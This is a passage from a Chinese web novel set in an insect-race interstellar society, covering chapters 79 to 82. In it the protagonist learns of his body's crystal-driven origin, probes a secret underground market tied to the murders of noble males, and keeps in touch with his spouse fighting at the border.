不知道他们会怎么安抚小崽崽, 索涅觉得大概率是安抚不了的,小崽子哭起来可不依不饶。 日头渐渐地从城市另一边落下去,橙红灿烂的夕阳照耀在建筑外面的玻璃上,光晕绚烂。“索涅”随便点了个外卖, 吃完又看了一会儿闲书打发时间,便打开电脑开始直播。 索涅静静地站在他身后,看着他打开那个熟悉的图标, 观众逐渐进入直播间。 “索涅”和观众们随意地聊着天,“我当然知道这些设定挺火爆,但我不太爱看。机甲多有意思啊,谈恋爱有什么好看的?” 不论观众怎么劝,“索涅”就是不准备好好进行游戏的恋爱主线。 即便是现在的情况,索涅也仍然觉得这游戏的恋爱主线不太重要,毕竟主要集中在角色间的爱恨情仇,而游戏的背景设定对现在的他来说才是关键。 在与虫族不断起摩擦的同时,安斯族让接壤的其他几个种族也不太平,纵容自己星域内的星盗劫掠其他种族的贸易星港。在竞争残酷的宇宙里谋生存,每个种族都极度重视自身的威信与军事能力。 安斯族再三挑衅,其他种族当然也不会畏缩,周边小型战乱不断。索涅的角色就是其中一颗宜居星的驻军上将,也算是位高权重。这位上将大概是军衔上混到了头,整日里都在和一只雌性打情骂俏。 索涅最不耐烦的就是这种,但……如果最初他选择的角色是虫族,遇到赫尔辛斯的话,他当然还是非常非常喜欢走剧情的。 他也知道这根本就不可能。赫尔辛斯在剧情里只是个一笔带过的角色,在故事刚开始时就被囚禁于深渊茧房,濒临死亡。 剧情进行到后面,每一次战线的推进,都有虫不断怀念起赫尔辛斯带领他们所取得的胜利,感慨这位天才的陨落。 “索涅”漫不经心地打着游戏,实则精神高度集中,不过被观众一个冷笑话一打岔,他还是又失败了一次,不得不开始看第三段剧情。 游戏并没有剧情回溯功能,他只能根据观众的描述,在网上随便找了些博主发布的录屏视频看。 索涅站在他背后。 他看过的三段剧情里,第一段是艾浮与法门的婚礼,第二段是最后圣山的终局之战——安莫因拼死守护费伦斯的场面,这第三段则是虫族的某个地下交易场所,里面情况相当混乱,观众是真的对虫族很感兴趣。 主控出示身份卡,渐渐从外围区域走入里面贵客才能去的高级交易所。 这里有数之不尽的稀世宝石,千年乃至万年前的古董器具,还有各种外貌美艳,或身具特殊之处的虫族及其他异族奴隶。 他只能跟着主控的视角查看这里的情况,索涅一丝一毫都不想放过,看得比那时要全面得多。 突然,角落里一张熟悉的脸让他心中一惊。 休伊斯?! 他怎么会出现在地下交易所? ……略微一想,索涅瞬间明白休伊斯到底是怎么潜入虫族境内的。 可惜这一幕连一秒都不到,索涅还没看清休伊斯在地下交易所里到底在干什么,剧情就跳到了后面。主控从地下交易所买了个奴隶,回去美滋滋谈恋爱去了。 所以说这游戏真的神烦,这么宏大的宇宙背景不去探索,整天把重心放在情情爱爱上面。 夜里十二点多,“索涅”终于下播。 他看起来还不怎么困,腹中饥饿,在外卖软件上翻了一圈,没有想吃的东西,便准备出门去楼下烧烤摊整点夜宵。 索涅在他身后,静静地看着他走出房门。 该来了。总算来了。 “索涅”按了一遍电梯,发现电梯停在一楼始终不动,嘴里嘀咕一声:“靠,这电梯怎么又坏了……” 他犹豫了一会儿,还是决定下楼吃个烧烤顺便散散步,打游戏时间长了,脑袋有点发晕。 索涅心里暗叹一口气,站在走廊里没有跟上去。 果然没过一会儿,楼梯口传来□□与墙壁碰撞的闷响,像有什么东西从台阶上滚了下去。几声痛苦的闷哼和嘶气声之后,那边彻底没了动静。 在彻底死去的瞬间,索涅眼前一道白光闪过,他猛地睁开眼睛坐起身,却一头磕到了营养舱壁上。 索涅痛得吸气,动静吸引了正在观察数据的费伦斯。 “你终于醒了,”费伦斯说,他走过来打开仓门,“我昨天不该让你回去,这一觉你整整睡了三天,要不是生理指标一切正常,我还以为你被暗算了。” “这么久……”索涅扶着营养舱坐起来,脑袋仍有些发晕,“赫尔辛斯那边有消息吗?” 费伦斯就知道他会问这个,“刚进行了第二波试探,听说战况还算可以。赫尔辛斯你知道的,他从不会逞强。” 索涅扬起嘴角,笑意却透出苦涩。 是,赫尔辛斯不会逞强,雌虫清楚自己能力的界限。所以他不逞强的底线是彻底死去。 至于那些大大小小的伤,雌虫从不放在心上。 “我们这些外虫得不到他的重视,”费伦斯说道,“你看看你的手环,说不定他给你发了消息。” 索涅打开手环,聊天界面仍旧停留在很久之前。 “我的身体大概没问题了。”经历过检查后,索涅说道。 他静下心来仔细一想,并不觉得自己真的回到了地球,或者回到了过去。他心中怀疑是前些日子频繁翻找记忆,触动了什么特殊机制,让他沉浸式地重温了一遍深埋在记忆深处的景象。 虽然过程有些惊悚,但好歹不是全无收获。 费伦斯也没追问缘由,像是完全相信他对自身状态的判断。 “既然你觉得没事,那就先回去看看虫崽崽吧。这几天他每天都要哭上两三回,哭饿了就去吃饭,吃饱接着睡,醒来继续哭。” 像这么大的雌崽还总是这么频繁地哭泣,在虫族是很不常见的。赫尔辛斯和索涅把科尔宠得有些过头,但费伦斯同样不觉得这是一件坏事。 “给你们添麻烦了。”索涅无奈地说道。 他踏出营养仓,思绪几次起伏,最终还是说了出来:“雄父,你知道联盟境内哪些地方有大型地下交易所呢?有百亿以上稀世珍宝的那种。” 费伦斯神情看起来很高兴,听到他这么问又目光闪烁:“像这样大型的地下交易所也不多,主星系边缘正好就有一个。” “只知道在一艘大型游离舰上,位置并不确定,只有拿到邀请函或者身份卡才能被吸纳进入,里面肯定有黑色交易,但督查组一直没摸清楚。” 索涅目光有些惊奇:“你们了解得这么详细?” 费伦斯耸耸肩,“总得提前踩点,哪天真出事了方便扫荡。” “……” 索涅要了一份详细资料,回德洛伊宫的路上顺便约了维希和恩修。 小崽子一见到他就眼泪汪汪扑上来抱住他的腿,嘴里“敷敷”“父父”一通乱喊,漂亮的大眼睛像两个蓄水池,哭得直打嗝。 索涅无奈地安抚了很久,小崽子趴在他怀里,哭累了直接呼呼大睡。 “……”真让人揪心。 两个老朋友对德洛伊宫很熟悉,他们脸色简直是两个极端。 恩修满面红光一看日子就很滋润,维希拉着一张脸,头发也乱糟糟的没有光泽,看起来就像被虐待了一样。 “有什么事?”维希忍不住打了个哈欠。 “你半夜不睡觉偷情去了?黑眼圈这么重。”恩修啧啧称奇,“当三要注意形象,不然法门凭什么跟你搞?” 维希病恹恹地放出一个炸弹:“法门怀了一个雌蛋,艾浮更不待见他了。” “……别告诉我不是你的蛋。”恩修一脸复杂。 “我和法门没睡过。”维希说。 “这和你不睡觉有什么关系?”索涅问。 维希又打了个哈欠:“我要照顾他啊,虫蛋状况很差,我不是他雄父,用很多精神力才能喂饱他。” 索涅&恩修:“……” 他们只以为维希是个变态的法外狂徒,没想到原来是纯洁的痴情种子。 “你都快被榨成虫干儿了……”恩修不知道说什么,最后拍拍维希的肩。 “过段时间就好了,现在既要梳理他的精神域还要喂虫蛋,”维希揉了揉额头,“你找我们来什么事,快说,我还有事。” “你是不是对地下交易所比较了解,看看这是哪个交易所的邀请函。”索涅将一张纸递给他。 纸上是个凌乱抽象的狮子,脚下踩着星环。 维希瞬间皱起眉,“你从哪儿看到的?这是莫比乌斯新都市的图腾,他们是流窜在附近几十个种族的最大的地下交易所,听说背后是某个贵族秘密联合会。” “他们给你发了邀请函?” 索涅摇头:“无意间看到的。” 维希狐疑地看着他,却也没有再问,只是说:“如果你想进去,我可以帮你,我知道谁有邀请函。” “等等,你就打算这么去冒险?”恩修连忙插话,“这个莫比乌斯一听就很危险,万一被发现怎么办?” “我不会贸然进入,我又不打算去交易,只是想了解了解。”索涅说道。 恩修松了口气,“你可别冲动。” “雄保会那边怎么样?”索涅问。 “渗透了百分之三十,剩下的都是中级以下官员。”维希打了个哈欠,“你的招牌真好使,不过艾浮好像有所察觉。” “他察觉也晚了,不用管他。”索涅关心的是另一件事,“那个有莫比乌斯邀请函的是谁?” 维希看了他一眼,说道:“法门。” 恩修:“……不行啊哥们儿,这绝对不能去!妥妥的鸿门宴!” “准确地来说是你的雌君赫尔辛斯,他入狱后邀请函才继承到法门身上。”维希又说。 “莫比乌斯的邀请函只授予最有财富、最具美貌、最富实力的个体,还可以在家族内继承。” “法门进去过吗?”索涅问。 “你猜?”维希微微一笑。 索涅已经知道答案。 法门买过什么呢? 显而易见。 ——珀斯晶体,可能还有那些剧毒针剂。 索涅原本怀疑休伊斯是通过交易品方式进入虫族境内,然后被发现高级雄虫的身份,可是看着费伦斯提供的资料,他又觉得不像。 交易品都有特殊的打扮,休伊斯那时的着装更像是……卖家! 他在卖什么? 索涅努力地搜刮着大脑里那一秒的画面,捋着并不清晰的时间线。 虫族有内鬼,那么如果……休伊斯就是那个内鬼呢? 假如他没有穿越过来,或许休伊斯从头到尾都没有被发现,以圣子的身份参与所有重大会议,看着虫族一步步被吞噬…… 可他究竟对休伊斯的卧底身份有什么影响? 明明从没有交集—— 索涅瞳孔微缩。 ——赫尔辛斯! 他救了赫尔辛斯! 这就是最大的变数!! 资料中没有提到休伊斯和莫比乌斯有任何关系,只是说“图泽圣子”被发现于某个低级宜居星。 如果休伊斯是莫比乌斯的常驻卖家,赫尔辛斯就很有可能见过休伊斯,这家伙在珀斯厅宴会的第一面就认出了赫尔辛斯! ……或者艾浮的所有行动,都在他监视之下。 适逢乌尔加被捕,所以身处风险之中的休伊斯一不做二不休,索性放弃了圣子皮壳。 那么安斯族接下来的新王不是休伊斯? ——为什么不能。 所有虫都知道,“图泽圣子”不爱出门。 索涅想起那严严实实的圣子袍服,后背一凉。这圣子袍服还是图泽提议更改的新制式,理由是更有威严。 这家伙的路究竟铺得有多长?! 第80章 无限生长 虫族很发达,但也有很多忌讳…… 虫族很发达, 但也有很多忌讳的事情,比如已婚虫在萨尔纳斯节这天不可以单身独处。 索涅看着手环。 这么多天了,毫无动静。 他怀疑赫尔辛斯把他忘了。 边境是不是也有不错的雄虫? 离得这么远, 赫尔辛斯又那么优秀, 难保不会有雄虫勾引他的雌君。 索涅知道自己的揣测很无理取闹, 但他越来越控制不住自己。 以光年为单位的距离实在太长了, 长到让刚唤醒了地球记忆的他无比崩溃。 索涅躺进被子里, 窗帘将房间遮得一片昏暗, 他知道外面冰雪覆盖,山下的虫子们正在狂欢。 他又打开手环,看着空荡荡的聊天页。 索涅很没出息地鼻头一酸, 差点窝在被子里哭出来。 赫尔辛斯在战场呢, 没空理你, 懂点事吧索涅。 他把手环扔到一边,被子拉高盖过头顶。 而被扔到地上的手环无声地亮起, 将近一分钟后又缓缓地熄灭。 索涅凌晨就转醒,摸到手环习惯性打开和赫尔辛斯的聊天框,俨然发现里面有一条未接的通讯。 他顿时一个激灵从床上坐起,揉了揉眼睛,不可置信又绝望地发起通讯, 果然又是一片忙音。 索涅懊悔到捶床。 不过维希今天带来了一个好消息。 “艾浮要娶法门的表弟,做他第二只雌君。”维希坐在沙发上,端起一杯热茶。 “法门肯定心如死灰,现在是我趁虚而入的好时候。” 恩修:“……你都快成崽子爹了, 不早就趁虚而入了。” 维希奇怪地瞥了他一眼,说:“法门不知道是我在照顾他。” 恩修宕机了:“什么意思?” 维希微微一笑说道:“我把他弄晕了,然后装成艾浮去照顾他。” 他表情挺惬意:“很快他就是我的了。” 恩修无语至极:“接着吹。” 法门是恩其顿最出色的高级雌虫之一, 从小接受的就是王虫级别的培养,对梅尔加雄主有极高的忠诚心和奉献欲,毕生追求就是繁荣虫族,并辅佐雄主继任执政官。 “雌虫又不是机器,我就不信我感化不了他。”维希说道。 索涅指出一点:“你感化他什么了?你什么也没做。” “对啊,那些事不都是‘艾浮’做的。”恩修看热闹不嫌事大。 “我做——我没做?!”维希瞬间卡壳,瞪大眼震如惊。 索涅挑眉:“事情好像搞砸了。” 维希神神颠颠地抱头懊悔不到一分钟,又恢复平静:“没事,我今晚就用真实身份去搞他。” 索涅&恩修:“……” 有时候真为法门默哀。 维希到底干了什么不得而知,不过很快索涅就收到了一份匿名礼物。 是一张黑底金漆的黄金矩形金属卡片。 索涅心念一动,精神丝覆盖到卡片上,一个狮子脚踩星环的图案浮现在卡面上。 “莫比乌斯新都市……”索涅低声念着,这个名字不像一般的地下交易所,很有些诡谲。 索涅带着卡片找到费伦斯。 “莫比乌斯,循环?”费伦斯将那张卡片研究了一遍,蹙起眉,“我没听过这个组织,不过莫比乌斯在安斯族有一个古老的定义,是指一切的结构都是一样的,社会、生物、细胞、粒子,宏观微观都包含在里面。” “后来,这个词曾经引申出‘绝对王权’的概念,不过已经很久不用了。” “你从哪儿得到的这张邀请函?”费伦斯问道。 索涅脸不红心不跳:“维希送给我的,希望我帮他拿下法门。” 他看出来费伦斯没有全信,不过对方却没问。 “你打算进去?”费伦斯问。 索涅沉吟着:“还没决定。” 搁以前他就进去了,大不了就是死,但现在有老婆孩子,他倾向于能不去就不去。 费伦斯看起来挺欣慰:“你肯把这些事告诉我,而不是独自去冒险,我可以认为你还算信任我?” 索涅神情一顿:“当然,您是我的雄父。” 费伦斯看了他良久,那双深沉锐利的眼睛让索涅有种被扒光的感觉。 “你是怎么回来的?在那边受了很多苦吧?” 索涅怔愣住,意会之后瞳孔一颤。 “没想到我会知道吧?”费伦斯笑起来,但那笑意又慢慢地消失了,他叹了一口气。 “你们……一直都知道?”索涅的嗓子仿佛粘连在一起,撕扯得他喉口发痛。 费伦斯这是什么意思?什么叫回来? “你那时……很弱小,非常弱小,甚至活不过一个月。”费伦斯耷拉着眼睑,这件事难以启齿,但他觉得是时候告诉索涅。 “安莫因跟我说过。”索涅低声说道。 “他忍耐不住,要全部告诉你,但我不敢让你知道,”费伦斯又沉沉地无声叹气,他没有看索涅的眼睛,一口气把所有事都说了出来。 “当时你还是个虫蛋,因为精神力异常孱弱而濒死,我用珀斯晶体为你改造了精神结构,但是改造成功的那一刻,你的意识就突然消失了。” 索涅静静地听着,心中好似思绪翻滚,又仿佛什么都没想。 “但是另一个意识在那个虫蛋里缓慢地生长。” 索涅脊骨发寒:“另一个?” 难道他当初也被穿越了? “珀斯晶体。”费伦斯沉声说道。 索涅不可置信:“一块无机物诞生出了意识?” “准确来说是珀斯晶体中的能量太过庞大,将你的意识体冲击到别的空间后,在无主的空蛋中寄生了。”费伦斯解释说。 “它很孱弱,却成长迅速,疯狂地吸收着宇宙中的同源能量,它的精神体和虫族不同,可以无限生长。”费伦斯神情凝重,“而你,那个强大的虫蛋给了它极好的环境。” “可是我穿……我回来的时候,他的精神力很弱。”索涅的下颌有些发麻。 无限生长的躯体,如果这个意识体抱有恶意的话…… “你这副躯体很强大,但也意味着更强的归属性,它压制着陌生的精神力,将它们统统盘固在精神域,硬生生让那个意识成为一个普通的劣等雄虫,直到你成功归来。”费伦斯说道。 索涅沉默不语。 “我再也不会碰珀斯晶体……”费伦斯疲惫地坐在椅子上,苦笑着,“那种东西不是三维生物可以解析的。” 说着他咬起牙:“你雌父是个混蛋!竟然瞒着我又怀了一个!不过好在是雌蛋,不然一切都完了。” “那我现在……”索涅心中有一种莫大的恐惧。 “我也会无限生长吗?”他嗓子已经哑了。 费伦斯起身给他倒了一杯水,却没有说话。 索涅已经知道答案。 “还没有到你身体的限度,谁也不知道会发生什么。”费伦斯给了他一颗定时炸弹一样的定心丸。 “你当初站在星舰上,是不是已经感受到那种归属的感觉?”费伦斯问。 “……好像有什么东西在召唤我。”索涅想起那种头晕目眩额角发胀的感觉。 费伦斯点点头,“我已经有很全面的研究结果,不过不打算发表。虫族的精神力来自于宇宙,长途迁徙中被高速粒子喷发带扫射,刺激大脑产生异变,和宇宙中的能量有了某种共通性,这种异变迅速地改变了所有虫族的身体。” “听说过吧?我们有一个虫神。” 索涅点头。 “无法解释的事情就把他归结于神迹,这是让智慧生物安心的一个好办法,不知道哪个有才华的家伙创造出那些神祇,”费伦斯一顿,“不过也说不定,那些神祇是另一群对精神力使用更高级的生物?” 费伦斯有点像被打击到了,“能拥有精神力是三维生物的幸运,我竟然妄图去研究它。” 索涅感觉这句话似乎在哪里听过。 “不过你以后要小心点儿,赫尔辛斯的等级进阶得比你慢,你梳理的时候控制好强度。”费伦斯恢复正常,又嘱咐道。 “莫比乌斯的事,我先着手去查,如果有消息我会告诉你,”费伦斯说道,“你是一个潜力不可估量的底牌,别随便把自己打出去。” “等你继任执政官,我就可以安心做科研,说不定就可以作出更好的成果,早点解决雌虫的缺陷。”费伦斯又说。 索涅:“……”刚才不是还很沮丧很渺小吗? 索涅觉得费伦斯有些神神叨叨,看起来很像他生命科学学院的院士教授。 但他还有一个问题。 “我是把那个意识吃掉了?还是他死了?”他问道。 倒不是同情,如果他吃了另一个意识体,他稍微有点犯恶心。 “安莫因找到你的时候,你还不是你,”费伦斯说道,“那时候它已经奄奄一息,不过我不知道它的去向,只是猜测你的身体感知到你回来,把它挤出去了。” 索涅沉默。 所以他是先在地球摔死,然后穿越回虫族,和自己的身体里应外合赶跑了鸠占鹊巢的家伙。 索涅沉吟,“我并没有这段记忆。” 费伦斯一怔,“……我让安莫因再回忆一下当时的情况。” 说起这个,他帮自己的雌君解释了一句,“安莫因当时以主星福利拨款的名义给你打了三个亿现金,不过被边缘星层层剥削吃得一干二净,他看到你进深渊茧房才知道你一毛钱都没收到。” 索涅:“……” 他难以置信,三个亿对当时的他和现在的他都是一笔巨款! 没有人可以拒绝三个亿! 当时如果有三个亿,他就不用战战兢兢考军校,不用带着赫尔辛斯吃糠咽菜! “收回来了吗?”他追问。 费伦斯微笑:“十倍收回来了,那些虫正在监狱服刑,死之前别想出来。” “……” 费伦斯没有问索涅之前去了哪里,“你在那边……生活状况怎么样?” “很不错,我有自己的房子和一笔存款,事业也发展得还算顺利。”索涅说。 费伦斯点点头,“你在这边的事业也会顺利的。” 索涅:“……”这就是上头有人的感觉吗? “你的弟弟即将破壳,我们决定由你来为他起名。”费伦斯说道。 “我?我不行,我起的名字都很难听。“索涅窘迫道。他的小机器猫至今都没名字,育儿机器叫阿橘,还是根据颜色随口起的。 “那我们拟好,你选一个。” 索涅说:“或许交给虫崽自己决定更好一点?” 费伦斯只得同意。 —— 科亚的报告递到安莫因桌头,又变成两份递送给费伦斯和索涅。 索涅从头到尾仔细地看了一遍,无奈地发现雌虫用了“希塞尔”这个名字。 他抱着虫崽崽,虫崽最近也不再频繁要雌父了,只是偶尔很忧郁似的埋头趴在他怀里。 “敷敷……” 索涅不知道他在叫自己,还是在叫赫尔辛斯。 小崽子看起来傻得可爱,其实也有自己的小心事。 他拍拍小家伙的背,一边哄他睡觉一边处理工作。 睡前他下意识看了一眼手环,正要关闭却发现哪里有点不对劲。 索涅盯着聊天页面。 目光最后落在右上角那一个小小的红点上。 索涅不可置信地揉了揉眼睛。 ——红点还在那里。 赫尔辛斯把他给删了?!!《 》 80-90 第81章 算我们殿下痴情 索涅手速飞快地打…… 索涅手速飞快地打过去一串问号。 赫尔辛斯把他删了?!! 啊啊啊怎么把他删了! 这时候他什么都没想, 内心只有慌乱。 下一秒,发过的消息显示已接收。 索涅赶紧去看光屏右上角,发现红点已经消失。 他提到嗓子眼的心脏缓缓下落。 “……”吓、吓死了…… 就在这时, 一个通讯打了进来, 索涅赶紧点接通。 对面却一片嘈杂。 紧接着一张长满脓疮的大饼脸怼到摄像头前。 “!”索涅猛地远离光屏, 骇得差点一拳干碎手环。 救命……赫尔辛斯到底在干什么, 他眼睛要被辣成菊花了…… 那张脸就像一个爆炸的橘子, 橘子皮上每一个细胞都像爆米花一样炸开, 整张脸就像一个红紫交错的巨型菜花。 “嘭!”只听对面一阵巨响,然后传来某种生物痛苦的嚎叫。 “对不起,让您看到那种东西。”雌虫低沉的嗓音传来。 索涅一片马赛克的脑海顿时被肃清。 “你在哪儿。”索涅虚弱道。 他被那张脸伤到了。 雌虫给他看周围的景象, 正在一处高峰山巅, 下方是纵横交错的峡谷峭壁。 “这里是安斯族的奴隶星。”雌虫说着, 一架庞然大物逐渐从空旷的半空中浮现,看来机甲一直隐匿在旁边。 “他们就是在这里, 用各种不同的异族奴隶训练武器,我伪装成羽族奴隶混了进来。”雌虫飞进机甲,他这会儿用的又是另一张脸。 “刚才数据采集到关键时刻,突然被这里的头目发现了,不知道用了什么东西, 我的手环所有信号都被切断。”赫尔辛斯伸向耳后按住一小片假皮肤,瞬间恢复成希塞尔的脸。 “他们不懂手环,检查的时候胡乱给您拨了过去。我没想到您这会儿还醒着。”赫尔辛斯将数据源插进机甲传输到军部,才松了口气。 “我……刚才正看你呢, ”索涅低声控诉,“就发现你把我删了。” “对不起,是我的失误, 让您伤心了。”雌虫低声说道。 “等我回来,您可以尽情地惩罚我。” 索涅轻哼一声,真是一只会勾搭他的雌虫。 “你独自在安斯族腹地?”索涅想起什么皱着眉问。 “没有,打通了附近一条虫洞,还有很多攻击舰和军雌隐匿在虫洞里。”赫尔辛斯说道。 机甲穿过云层回归宇宙,索涅看到数百艘攻击舰紧随其后,安斯族庞大的防御舰从雌虫背后缓缓浮现。 幽蓝的炮口对准机甲驾驶舱,能量凝聚出刺眼的白。 SS09在微秒内迅速推进,瞬闪消失在原地,安斯族的磁流炮反而将他们自己的百艘攻击舰轰成渣滓。 SS09遁入一片呈折叠状的瑰丽空间,迅速滑入星舰腹舱。 索涅松了一口气,他刚才都不敢说话,生怕打扰赫尔辛斯。 “你有事要忙?”他问道。 雌虫将什么东西交给科亚。 “现在不忙,赶回边境星驻地就可以。”赫尔辛斯回到自己的卧室,翻出一只补充剂倒进嘴里。 索涅心疼地摩挲着雌虫的脸,但什么都摸不到,“瘦了,还有黑眼圈了。” 雌虫的身体都能出现黑眼圈,可想而知赫尔辛斯到底多么疲惫。 “是不是不太好看?”雌虫坐在床上,摸着自己的脸问他。 “不管怎样都好看,我都喜欢。”索涅说。 雌虫笑:“您真会说甜言蜜语。” 索涅看着他的脸,低声说:“趁着这段时间,你休息吧。” 赫尔辛斯靠在床头,绿眸温润:“您也是,主星已经凌晨了,您还没有入睡。” 索涅摸了摸鼻子,他觉得雌虫不想结束通话。 他也不想。 于是他闭眼盖上被子,将手环放在枕边。 在雌虫平稳温柔的呼吸声中,他不知什么时候陷入黑沉的深眠…… 边境的战事还算可控,可主星这边却不断地出岔子。 先是在艾浮举办的雄虫聚会上失踪了三只高级雄虫,还没查出个结果,又有雌虫在几万光年之外的荒星发现这三只雄虫的尸体。 经化验,三只雄虫心脏和大脑全部被掏空,并且应该是活生生被剜出去,双眼瞪张死状恐怖。 主星遭受恐怖主义袭击的言论甚嚣尘上,居民们惶惶不安甚至于在大街上闹事,星网也把主星说成一片坟场,好像不日他们都会大祸临头似的。 索涅时常对这个高科技种族的神神叨叨感到无语。 “初步怀疑可能是某种黑科学实验室的手笔,”费伦斯说,“研究方向可能是精神力,或者血脉。这些雄虫都是古老脉系遗存的残支。” “自从你进阶,他们好像开始怀疑我了。”费伦斯摸着下巴说,“觉得我有造神的能力。” “几个老贵族明里暗里问我有没有让雄虫进阶的办法。” 索涅说:“他们也没说错。” 费伦斯:“我说没有,他们也不信,恐怕是开始自己动手了。” “直接找主星的高级雄虫下手?”索涅难以置信。 “有一句话叫灯下黑,”费伦斯说,“其他星球对高级雄虫的保护可严密得很,主星只是大范围上的安全。” 西沙代表圣山去慰问家属,隔天就被虫匿名吐槽假惺惺,空着手来都比带两只雌奴来要好。 雄虫都死了,带雌奴来有个屁用。 西沙这事办得实在愚蠢,舆论很快向圣山倾轧。 索涅怀疑西沙是故意的,毕竟圣子只是名义上归属于圣山,实则还是名字后面还挂着各自家族的姓氏。 西沙搞砸之后这事又落到艾浮头上,艾浮就聪明或者说懒惰多了,直接交给法门去办,法门果然给他办得很漂亮。 维希气哼哼地找到索涅:“他们两个又你侬我侬上了!该死的臭雌虫!我再也不管他了!” 没过两天,维希亲自带来贺电,他已经和法门进阶到亲嘴的步骤,他还特别详细标注是舌吻。 索涅把他拉黑了三个小时。 “哥们儿,我倒是给你整到一个好东西。”恩修从兜里掏出一个小盒子,展开里面是一块蓝色宝石。 “采访的时候从某家属家里花大价钱弄到手的。”恩修说。 索涅瞬间拧眉,拿起那块石头。 “你看背面。”恩修提醒他。 “这是……”索涅顿住,又是这个图案。 他心中微沉,这是一块驳杂的珀斯晶体。 这个莫比乌斯什么意思?要和联盟交恶,还是替雇主办事? 不管怎么样,那三只雄虫的死看来和莫比乌斯脱不了干系。 索涅放假之后事务繁忙,圣山大大小小的事一大半都压在他的桌案上。在这种情况下,关于他会继承执政官之位的言论甚嚣尘上,艾浮和西沙的支持者极为不屑。 [我们殿下的支持者数量众多,索涅殿下才当上圣子没几年,为民众做的事又能有几件?] [我本来支持索涅殿下,毕竟他是唯一的S级雄虫,但他越来越像个没有感情的机器,把政务交给他真的没问题吗?] [索涅殿下至今连雄崽都没有,那么高的等级却没有奉献给民众,只娶了一只雌虫,这算什么?] [算我们殿下痴情,怎么了?吃你家大米了?] 索涅忙得像个陀螺,根本顾不上处理这些舆论问题。以往赫尔辛斯帮他看顾,现在就只能全部委托给恩修,这家伙凭借圣山的订单已经跻身家族顺位继承者之一。 最高法查来查去,最后竟然查到了梅尔加头上,西沙被带走调查。 星网直接炸成烟花,犹如煮喷的高压锅一样,不管梅尔加怎么控评就是压制不住。 科亚作为第一指挥官征战在外,西沙在主星搞出这种事情,议会第一时间商量是否撤销他的指挥官位置。 但是又该交给谁? 显然没有第二个选项。 议会发布声明,在西沙圣子的调查结束前,羽族星域的指挥官将由赫尔辛斯上将暂时代理。 [没安好心!没安好心!!殿下一出事他的雌君就顶上去了!] [赫尔辛斯上将本来就隐匿身份跟在队伍之中,这什么意思你还不明白吗?他是秘密武器!] [别魔怔了,赫尔辛斯上将代理指挥官,我们应该高兴才对,别把粉丝身份太当回事,种族安全比这重要] [点了,不管是谁的雌君,先打赢再说] —— 这个监狱相当豪华。 不过和索涅曾经自己布置出来的还是有差距。 “你来干什么。”西沙沙哑开口。 索涅、安莫因、杰里士坐在旁边,示意审讯官可以开始了。 索涅知道西沙在问他:“来旁听。” 西沙穿着那身洁白圣子袍服,面上阴翳的神情却将衣服的气场破坏得一干二净。 “不用审讯,你们应该尽快去调查别的虫,好还我一个清白。” “殿下,我不过是一个审讯官,还请您按规走一走流程。”审讯官柔和说道。 “您为什么会有莫比乌斯的邀请函?” “莫比乌斯?那是什么?” “您是说,这张邀请函不是您的?” “肯定不是我的,我不会收这种没名气的东西。”西沙说。 索涅突兀地目光一凝。 假如这张邀请函是在他宫殿内被搜到,同时他还有一枚刻有莫比乌斯徽章的珀斯晶体…… 他唇角抿起。 审讯结束后,索涅跟安莫因说了自己的猜测,然后迅速让费伦斯把那两个东西转移进圣山密室。 果然,艾浮就实名向最高法提起诉讼,申请调查索涅圣子,称索涅圣子的雌君赫尔辛斯·恩其顿拥有一张莫比乌斯邀请函,并且把复制本给了西沙圣子,俩虫狼狈为奸买卖高级雄虫器官,从莫比乌斯换取极为昂贵的进阶手术。 这下最慌的不是索涅,不是圣山,反而是议会。 索涅圣子也要进去接受调查,那远方战场的指挥官怎么办? 没虫可派了! 谁能压在赫尔辛斯和科亚头上指挥他们? 更何况那边还依赖赫尔辛斯,这边费伦斯已经快一心科研万事不管,全部交给梅尔加那不是完大蛋了! 还没继任就接过全部事务,梅尔加恐怕要上天! 第82章 亲爱的虫虫 “索涅殿下,打扰了。…… “索涅殿下, 打扰了。”最高法的督察礼貌道别。 索涅吩咐侍者送他们去舰场,转身回到书房。 他拨通通讯,安莫因的身影出现在半空中。 “怎么样?” “恐怕要让他们失望了。”索涅说道。 督察队一无所获, 艾浮的指控便失效, 但西沙手里的确有一张副卡, 那么主卡在谁手里? 莫比乌斯虽然鲜为虫知, 但抓住线索去查, 很快就能将邀请函的特殊性查个水落石出。索涅听说其中维希出了不少力。 这家伙知道自己差点被艾浮暗算, 气得跟法门撒娇讨了很多福利,然后背地里干翻了艾浮手底下两个星球的金融操盘手。 最终带着自己脖子上的牙印来跟索涅和恩修炫耀。 然后得知恩修意外查到了莫比乌斯的高浓度抚慰剂交易方法。 “……我不信。”维希倔强地说。 小团体里恩修根本不负责这块!他投诉!这家伙抢活儿! “你们两个别这样,虫在江湖走哪有不湿鞋, ”索涅说道, “我又没怪你们。” “这是尊严问题, 输给谁都可以,输给艾浮我就一头撞死。”维希从牙缝里说。 “差点害了你, 当然得将功补过,不过这事还真是个意外。”恩修说。 “我和莱昂兹去医院做检查,听到隔壁的医雌在跟一只雌虫说他的精神域已经彻底僵死,但是那只雌虫并没有变成傻子,他们觉得这是一种特殊变异, 劝那只雌虫提供一小部分细胞样本。” “明明只需要几滴血就能拿到三百万,那只雌虫看起来也不富裕,却一直支支吾吾不同意,我觉得他有点眼熟, 后来一查果然是那三只雄虫之一的雌侍。” “但是那只雌虫既不是高等军雌,也没有特殊情况,怎么会突然服用抚慰剂?我把情况报给医务用品管制部门, 他们的调查结果你们也看到了。” 维希很嫉妒:“这狗屎运都能让你碰到。” 恩修顿时挑眉:“这怎么能叫狗屎运?这叫大难不死必有后福。” “这个……”索涅沉吟。 他们顿时停止争吵盯着索涅。 “要是能拿到一个样品就好了。”索涅觉得这玩意儿对费伦斯的研究有大作用。 “我帮你盯着,那些买了的虫应该有不少犹豫的,抚慰剂毕竟不是可以乱喝的东西。”恩修说。 “他们这交易的方式有够古老,竟然两只虫面对面交易?”维希感到匪夷所思。 “有时候古老也意味着安全。”索涅说。 天网恢恢,但凡通过磁流网交易必然会留下痕迹,古老的贸易方式反而与高科技隔绝,不易被捕捉。 “那怎么办?这东西要怎么查?”维希问,派雌虫去显然不太可能,万一对方把这玩意儿摔在地上,雌虫都得完蛋。 “先拿到一只样品,看费伦斯的分析结果。”索涅说。 至于样品怎么拿…… —— 主星低纬度地区,今天是一个还不错的晴朗天气,巨大的椰子树为这片阳光海滩增添了几分清凉。 一只身材瘦削的雌虫步入沙滩边的巨大快餐店,坐在窗边空位后要了一杯冷萃果茶。 店里有七八只雄虫,见他进来,目光不禁纷纷落在他身上。 